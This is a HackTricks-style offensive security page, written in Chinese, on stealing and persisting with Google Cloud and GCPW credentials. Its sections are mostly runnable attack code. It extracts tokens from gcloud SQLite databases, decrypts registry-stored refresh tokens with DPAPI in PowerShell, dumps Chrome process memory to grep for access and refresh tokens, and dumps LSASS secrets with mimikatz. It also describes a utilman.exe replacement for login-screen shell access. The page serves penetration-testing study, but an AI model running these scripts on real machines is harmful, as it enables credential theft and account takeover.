GCP - Non-svc Persistance

支持 HackTricks

这些是有用的技术,一旦你以某种方式获取了某些 GCP 凭证或在 GCP 环境中运行的机器。

令牌劫持

认证用户令牌

要获取用户的 当前令牌,你可以运行:

sqlite3 $HOME/.config/gcloud/access_tokens.db "select access_token from access_tokens where account_id='<email>';"

查看此页面如何直接使用此令牌通过gcloud

要获取生成新访问令牌的详细信息,请运行:

sqlite3 $HOME/.config/gcloud/credentials.db "select value from credentials where account_id='<email>';"

还可以在 $HOME/.config/gcloud/application_default_credentials.json$HOME/.config/gcloud/legacy_credentials/*/adc.json 中找到刷新令牌。

要使用 刷新令牌、客户端 ID 和客户端密钥获取新的刷新访问令牌,请运行:

curl -s --data client_id=<client_id> --data client_secret=<client_secret> --data grant_type=refresh_token --data refresh_token=<refresh_token> --data scope="https://www.googleapis.com/auth/cloud-platform https://www.googleapis.com/auth/accounts.reauth" https://www.googleapis.com/oauth2/v4/token

刷新令牌的有效性可以在 Admin > Security > Google Cloud session control 中管理,默认设置为 16 小时,尽管可以设置为永不过期:

Auth flow

使用类似 gcloud auth login 的认证流程将在浏览器中打开一个提示,接受所有范围后,浏览器将向工具打开的 http 端口发送类似于以下的请求:

/?state=EN5AK1GxwrEKgKog9ANBm0qDwWByYO&code=4/0AeaYSHCllDzZCAt2IlNWjMHqr4XKOuNuhOL-TM541gv-F6WOUsbwXiUgMYvo4Fg0NGzV9A&scope=email%20openid%20https://www.googleapis.com/auth/userinfo.email%20https://www.googleapis.com/auth/cloud-platform%20https://www.googleapis.com/auth/appengine.admin%20https://www.googleapis.com/auth/sqlservice.login%20https://www.googleapis.com/auth/compute%20https://www.googleapis.com/auth/accounts.reauth&authuser=0&prompt=consent HTTP/1.1

然后,gcloud 将使用状态和代码与一些硬编码的 client_id (32555940559.apps.googleusercontent.com) 和 client_secret (ZmssLNjJy2998hD4CTg2ejr2) 来获取 最终的刷新令牌数据

请注意,与 localhost 的通信是通过 HTTP 进行的,因此可以拦截数据以获取刷新令牌,但此数据仅有效 1 次,因此这将是无用的,直接从文件中读取刷新令牌更容易。

OAuth 范围

您可以在 https://developers.google.com/identity/protocols/oauth2/scopes 找到所有 Google 范围,或通过执行以下命令获取它们:

curl "https://developers.google.com/identity/protocols/oauth2/scopes" | grep -oE 'https://www.googleapis.com/auth/[a-zA-A/\-\._]*' | sort -u

可以使用以下脚本查看**gcloud**用于身份验证的应用程序可以支持哪些范围:

curl "https://developers.google.com/identity/protocols/oauth2/scopes" | grep -oE 'https://www.googleapis.com/auth/[a-zA-Z/\._\-]*' | sort -u | while read -r scope; do
echo -ne "Testing $scope         \r"
if ! curl -v "https://accounts.google.com/o/oauth2/auth?response_type=code&client_id=32555940559.apps.googleusercontent.com&redirect_uri=http%3A%2F%2Flocalhost%3A8085%2F&scope=openid+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fuserinfo.email+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fcloud-platform+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fappengine.admin+$scope+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fsqlservice.login+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fcompute+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Faccounts.reauth&state=AjvFqBW5XNIw3VADagy5pvUSPraLQu&access_type=offline&code_challenge=IOk5F08WLn5xYPGRAHP9CTGHbLFDUElsP551ni2leN4&code_challenge_method=S256" 2>&1 | grep -q "error"; then
echo ""
echo $scope
fi
done

在执行后,检查到该应用支持以下范围:

https://www.googleapis.com/auth/appengine.admin
https://www.googleapis.com/auth/bigquery
https://www.googleapis.com/auth/cloud-platform
https://www.googleapis.com/auth/compute
https://www.googleapis.com/auth/devstorage.full_control
https://www.googleapis.com/auth/drive
https://www.googleapis.com/auth/userinfo.email

它很有趣地看到这个应用支持 drive 范围,这可能允许用户在攻击者设法迫使用户生成具有此范围的令牌时,从 GCP 升级到 Workspace。

检查如何 在这里滥用它

服务账户

就像经过身份验证的用户一样,如果您设法 泄露服务账户的私钥文件,您将能够 通常无限期访问它。 然而,如果您窃取了服务账户的 OAuth 令牌,这可能会更有趣,因为即使默认情况下这些令牌仅在一个小时内有效,如果 受害者删除了私有 API 密钥,OAuth 令牌仍将有效,直到它过期

元数据

显然,只要您在运行 GCP 环境的机器内部,您将能够 通过联系元数据端点访问附加到该机器的服务账户(请注意,您可以在此端点访问的 OAuth 令牌通常受范围限制)。

补救措施

一些针对这些技术的补救措施在 https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-2 中进行了说明。

GCPW - Google Credential Provider for Windows

这是 Google Workspaces 提供的单点登录,以便用户可以使用 他们的 Workspace 凭据 登录他们的 Windows PC。此外,这将把访问 Google Workspace 的令牌存储在 PC 的某个位置。

GCPW - MitM

当用户通过 GCPW 访问与 Google Workspace 同步的 Windows PC 时,它需要完成一个常见的登录表单。此登录表单将返回一个 OAuth 代码,PC 将在请求中将其交换为刷新令牌,如下所示:

POST /oauth2/v4/token HTTP/2
Host: www.googleapis.com
Content-Length: 311
Content-Type: application/x-www-form-urlencoded
[...headers...]

scope=https://www.google.com/accounts/OAuthLogin
&grant_type=authorization_code
&client_id=77185425430.apps.googleusercontent.com
&client_secret=OTJgUOQcT7lO7GsGZq2G4IlT
&code=4/0AVG7fiQ1NKncRzNrrGjY5S02wBWBJxV9kUNSKvB1EnJDCWyDmfZvelqKp0zx8jRGmR7LUw
&device_id=d5c82f70-71ff-48e8-94db-312e64c7354f
&device_type=chrome

新行已添加以提高可读性。

可以通过在PC上安装Proxifier,用cmd.exe覆盖utilman.exe二进制文件,并在Windows登录页面执行辅助功能,从而执行CMD,从中可以启动和配置Proxifier。 不要忘记在Proxifier阻止QUICK UDP流量,以便降级为TCP通信,这样你就可以看到它。

还要在“服务和其他用户”中配置两个选项,并在Windows中安装Burp CA证书。

此外,在**HKLM:\SOFTWARE\Google\GCPW**中添加键enable_verbose_logging = 1log_file_path = C:\Public\gcpw.log可以使其存储一些日志。

GCPW - 指纹

可以通过检查以下进程是否存在或以下注册表键是否存在来检查设备上是否安装了GCPW:

# Check process gcpw_extension.exe
if (Get-Process -Name "gcpw_extension" -ErrorAction SilentlyContinue) {
Write-Output "The process gcpw_xtension.exe is running."
} else {
Write-Output "The process gcpw_xtension.exe is not running."
}

# Check if HKLM\SOFTWARE\Google\GCPW\Users exists
$gcpwHKLMPath = "HKLM:\SOFTWARE\Google\GCPW\Users"
if (Test-Path $gcpwHKLMPath) {
Write-Output "GCPW is installed: The key $gcpwHKLMPath exists."
} else {
Write-Output "GCPW is not installed: The key $gcpwHKLMPath does not exist."
}

# Check if HKCU\SOFTWARE\Google\Accounts exists
$gcpwHKCUPath = "HKCU:\SOFTWARE\Google\Accounts"
if (Test-Path $gcpwHKCUPath) {
Write-Output "Google Accounts are present: The key $gcpwHKCUPath exists."
} else {
Write-Output "No Google Accounts found: The key $gcpwHKCUPath does not exist."
}

HKCU:\SOFTWARE\Google\Accounts 中,可以访问用户的电子邮件和加密的 refresh token,如果用户最近登录过。

HKLM:\SOFTWARE\Google\GCPW\Users 中,可以在键 domains_allowed 中找到允许登录的 domains,在子键中可以找到关于用户的信息,如电子邮件、头像、用户名、令牌生命周期、令牌句柄...

令牌句柄是一个以 eth. 开头的令牌,可以通过请求提取一些信息,如:

curl -s 'https://www.googleapis.com/oauth2/v2/tokeninfo' \
-d 'token_handle=eth.ALh9Bwhhy_aDaRGhv4v81xRNXdt8BDrWYrM2DBv-aZwPdt7U54gp-m_3lEXsweSyUAuN3J-9KqzbDgHBfFzYqVink340uYtWAwxsXZgqFKrRGzmXZcJNVapkUpLVsYZ_F87B5P_iUzTG-sffD4_kkd0SEwZ0hSSgKVuLT-2eCY67qVKxfGvnfmg'
# Example response
{
"audience": "77185425430.apps.googleusercontent.com",
"scope": "https://www.google.com/accounts/OAuthLogin",
"expires_in": 12880152
}

还可以通过以下请求找到访问令牌的令牌句柄:

curl -s 'https://www.googleapis.com/oauth2/v2/tokeninfo' \
-d 'access_token=<access token>'
# Example response
{
"issued_to": "77185425430.apps.googleusercontent.com",
"audience": "77185425430.apps.googleusercontent.com",
"scope": "https://www.google.com/accounts/OAuthLogin",
"expires_in": 1327,
"access_type": "offline",
"token_handle": "eth.ALh9Bwhhy_aDaRGhv4v81xRNXdt8BDrWYrM2DBv-aZwPdt7U54gp-m_3lEXsweSyUAuN3J-9KqzbDgHBfFzYqVink340uYtWAwxsXZgqFKrRGzmXZcJNVapkUpLVsYZ_F87B5P_iUzTG-sffD4_kkd0SEwZ0hSSgKVuLT-2eCY67qVKxfGvnfmg"
}

据我所知,从令牌句柄中获取刷新令牌或访问令牌是不可能的。

此外,文件 C:\ProgramData\Google\Credential Provider\Policies\<sid>\PolicyFetchResponse 是一个包含不同 设置 信息的 json,如 enableDmEnrollmentenableGcpAutoUpdateenableMultiUserLogin(如果多个 Workspace 用户可以登录计算机)和 validityPeriodDays(用户无需直接与 Google 重新认证的天数)。

GCPW - 注册表刷新令牌

在注册表 HKCU:\SOFTWARE\Google\Accounts 中,可能会找到一些账户,其 refresh_token 被加密。方法 ProtectedData.Unprotect 可以轻松解密它。

获取 HKCU:\SOFTWARE\Google\Accounts 数据并解密 refresh_tokens

```powershell # Import required namespace for decryption Add-Type -AssemblyName System.Security

Base registry path

$baseKey = "HKCU:\SOFTWARE\Google\Accounts"

Function to search and decrypt refresh_token values

function Get-RegistryKeysAndDecryptTokens { param ( [string]$keyPath )

Get all values within the current key

$registryKey = Get-Item -Path $keyPath $foundToken = $false

Loop through properties to find refresh_token

foreach ($property in $registryKey.Property) { if ($property -eq "refresh_token") { $foundToken = $true try {

Get the raw bytes of the refresh_token from the registry

$encryptedTokenBytes = (Get-ItemProperty -Path $keyPath -Name $property).$property

Decrypt the bytes using ProtectedData.Unprotect

$decryptedTokenBytes = [System.Security.Cryptography.ProtectedData]::Unprotect($encryptedTokenBytes, $null, [System.Security.Cryptography.DataProtectionScope]::CurrentUser) $decryptedToken = [System.Text.Encoding]::UTF8.GetString($decryptedTokenBytes)

Write-Output "Path: $keyPath" Write-Output "Decrypted refresh_token: $decryptedToken" Write-Output "-----------------------------" } catch { Write-Output "Path: $keyPath" Write-Output "Failed to decrypt refresh_token: $($_.Exception.Message)" Write-Output "-----------------------------" } } }

Recursively process all subkeys

Get-ChildItem -Path $keyPath | ForEach-Object { Get-RegistryKeysAndDecryptTokens -keyPath $_.PSPath } }

Start the search from the base key

Get-RegistryKeysAndDecryptTokens -keyPath $baseKey

</details>

示例输出:

<div data-gb-custom-block data-tag="code" data-overflow='wrap'>

Path: Microsoft.PowerShell.Core\Registry::HKEY_CURRENT_USER\SOFTWARE\Google\Accounts\100402336966965820570Decrypted refresh_token: 1//03gQU44mwVnU4CDHYE736TGMSNwF-L9IrTuikNFVZQ3sBxshrJaki7QvpHZQMeANHrF0eIPebz0dz0S987354AuSdX38LySlWflI


</div>

如[**此视频**](https://www.youtube.com/watch?v=FEQxHRRP\_5I)中所述,如果在注册表中找不到令牌,可以从 **`HKLM:\SOFTWARE\Google\GCPW\Users\<sid>\th`** 修改值(或删除),下次用户访问计算机时,他将需要重新登录,并且 **令牌将存储在之前的注册表中**。

### GCPW - 磁盘刷新令牌

文件 **`%LocalAppData%\Google\Chrome\User Data\Local State`** 存储解密 **`refresh_tokens`** 的密钥,这些令牌位于用户的 **Google Chrome 配置文件** 中,如:

* `%LocalAppData%\Google\Chrome\User Data\Default\Web Data`
* `%LocalAppData%\Google\Chrome\Profile*\Default\Web Data`

可以在[**Winpeas**](https://github.com/peass-ng/PEASS-ng/tree/master/winPEAS/winPEASexe)中找到一些 **C# 代码**,以解密的方式访问这些令牌。

此外,加密可以在此代码中找到:[https://github.com/chromium/chromium/blob/7b5e817cb016f946a29378d2d39576a4ca546605/components/os\_crypt/sync/os\_crypt\_win.cc#L216](https://github.com/chromium/chromium/blob/7b5e817cb016f946a29378d2d39576a4ca546605/components/os\_crypt/sync/os\_crypt\_win.cc#L216)

可以观察到使用了 AESGCM, 加密令牌以 **版本** 开头(此时为 **`v10`**),然后是 [**12B 的 nonce**](https://github.com/chromium/chromium/blob/7b5e817cb016f946a29378d2d39576a4ca546605/components/os\_crypt/sync/os\_crypt\_win.cc#L42),接着是 **密文**,最后是 **16B 的 mac**。

### GCPW - 从进程内存中转储令牌

以下脚本可用于 **转储** 每个 **Chrome** 进程,使用 `procdump`,提取 **字符串**,然后 **搜索** 与 **访问和刷新令牌** 相关的字符串。如果 Chrome 连接到某个 Google 网站,则某些 **进程将会在内存中存储刷新和/或访问令牌!**

<details>

<summary>转储 Chrome 进程并搜索令牌</summary>
```powershell
# Define paths for Procdump and Strings utilities
$procdumpPath = "C:\Users\carlos_hacktricks\Desktop\SysinternalsSuite\procdump.exe"
$stringsPath = "C:\Users\carlos_hacktricks\Desktop\SysinternalsSuite\strings.exe"
$dumpFolder = "C:\Users\Public\dumps"

# Regular expressions for tokens
$tokenRegexes = @(
"ya29\.[a-zA-Z0-9_\.\-]{50,}",
"1//[a-zA-Z0-9_\.\-]{50,}"
)

# Show EULA if it wasn't accepted yet for strings
$stringsPath

# Create a directory for the dumps if it doesn't exist
if (!(Test-Path $dumpFolder)) {
New-Item -Path $dumpFolder -ItemType Directory
}

# Get all Chrome process IDs
$chromeProcesses = Get-Process -Name "chrome" -ErrorAction SilentlyContinue | Select-Object -ExpandProperty Id

# Dump each Chrome process
foreach ($processId in $chromeProcesses) {
Write-Output "Dumping process with PID: $processId"
& $procdumpPath -accepteula -ma $processId "$dumpFolder\chrome_$processId.dmp"
}

# Extract strings and search for tokens in each dump
Get-ChildItem $dumpFolder -Filter "*.dmp" | ForEach-Object {
$dumpFile = $_.FullName
$baseName = $_.BaseName
$asciiStringsFile = "$dumpFolder\${baseName}_ascii_strings.txt"
$unicodeStringsFile = "$dumpFolder\${baseName}_unicode_strings.txt"

Write-Output "Extracting strings from $dumpFile"
& $stringsPath -n 50 -nobanner $dumpFile > $asciiStringsFile
& $stringsPath -n 50 -nobanner -u $dumpFile > $unicodeStringsFile

$outputFiles = @($asciiStringsFile, $unicodeStringsFile)

foreach ($file in $outputFiles) {
foreach ($regex in $tokenRegexes) {

$matches = Select-String -Path $file -Pattern $regex -AllMatches

$uniqueMatches = @{}

foreach ($matchInfo in $matches) {
foreach ($match in $matchInfo.Matches) {
$matchValue = $match.Value
if (-not $uniqueMatches.ContainsKey($matchValue)) {
$uniqueMatches[$matchValue] = @{
LineNumber = $matchInfo.LineNumber
LineText   = $matchInfo.Line.Trim()
FilePath   = $matchInfo.Path
}
}
}
}

foreach ($matchValue in $uniqueMatches.Keys) {
$info = $uniqueMatches[$matchValue]
Write-Output "Match found in file '$($info.FilePath)' on line $($info.LineNumber): $($info.LineText)"
}
}

Write-Output ""
}
}

Remove-Item -Path $dumpFolder -Recurse -Force

我用 gcpw_extension.exe 尝试了同样的操作,但没有找到任何令牌。

出于某种原因,一些提取的访问令牌将无效(尽管有些是有效的)。我尝试了以下脚本逐个删除字符,以尝试从转储中获取有效令牌。它从未帮助我找到有效的令牌,但我想它可能有用:

逐个删除字符检查访问令牌

```bash #!/bin/bash

Define the initial access token

access_token="ya29.a0AcM612wWX6Pe3Pc6ApZYknGs5n66W1Hr1CQvF_L_pIm3uZaXWisWFabzxheYCHErRn28l2UOJuAbMzfn1TUpSKqvYvlhXJpxQsKEtwhYXzN2BZdOQNji0EXfF7po1_0WaxhwqOiE0CFQciiL8uAmkRsoXhq9ekC_S8xLrODZ2yKdDR6gSFULWaiIG-bOCFx3DkbOdbjAk-U4aN1WbglUAJdLZh7DMzSucIIZwKWvBxqqajSAjrdW0mRNVN2IfkcVLPndwj7fQJV2bQaCgYKAbQSAQ4SFQHGX2MiPuU1D-9-YHVzaFlUo_RwXA0277"

Define the URL for the request

url="https://www.googleapis.com/oauth2/v1/tokeninfo"

Loop until the token is 20 characters or the response doesn't contain "error_description"

while [ ${#access_token} -gt 20 ]; do

Make the request and capture the response

response=$(curl -s -H "Content-Type: application/x-www-form-urlencoded" -d "access_token=$access_token" $url)

Check if the response contains "error_description"

if [[ ! "$response" =~ "error_description" ]]; then echo "Success: Token is valid" echo "Final token: $access_token" echo "Response: $response" exit 0 fi

Remove the last character from the token

access_token=${access_token:0:-1}

echo "Token length: ${#access_token}" done

echo "Error: Token invalid or too short"

</details>

### GCPW - 恢复明文密码

要利用 GCPW 恢复密码的明文,可以使用 **mimikatz** 从 **LSASS** 中转储加密密码:
```bash
mimikatz_trunk\x64\mimikatz.exe token::elevate lsadump::secrets exit

然后搜索像 Chrome-GCPW-<sid> 的秘密,如图所示:

然后,使用具有范围 https://www.google.com/accounts/OAuthLogin访问令牌,可以请求私钥以解密密码:

Last updated